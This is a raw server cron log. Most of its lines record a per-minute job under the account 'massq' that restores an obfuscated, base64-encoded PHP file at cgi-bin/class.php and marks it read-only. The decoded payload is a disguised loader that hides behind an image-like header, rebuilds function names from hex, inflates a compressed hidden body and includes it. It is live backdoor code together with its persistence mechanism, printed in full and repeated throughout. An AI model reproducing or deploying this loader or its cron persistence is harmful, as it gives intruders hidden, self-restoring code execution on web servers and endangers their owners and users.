Nov 15 20:53:01 server CROND[12640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:54:01 server CROND[13123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:55:01 server CROND[13574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:55:01 server CROND[13575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:55:01 server CROND[13576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:56:01 server CROND[13913]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:57:01 server CROND[14171]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 20:57:01 server CROND[14172]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:58:01 server CROND[14439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:59:01 server CROND[14714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:00:02 server CROND[15123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:00:02 server CROND[15122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 21:00:02 server CROND[15124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:00:02 server CROND[15126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:01:01 server CROND[15491]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:01:01 server CROND[15492]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 21:01:01 server run-parts(/etc/cron.hourly)[15492]: starting 0anacron
Nov 15 21:01:01 server run-parts(/etc/cron.hourly)[15505]: finished 0anacron
Nov 15 21:02:01 server CROND[15783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:03:01 server CROND[16060]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:04:01 server CROND[16353]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:05:01 server CROND[16644]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:05:01 server CROND[16646]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:05:01 server CROND[16648]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 21:05:01 server CROND[16647]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
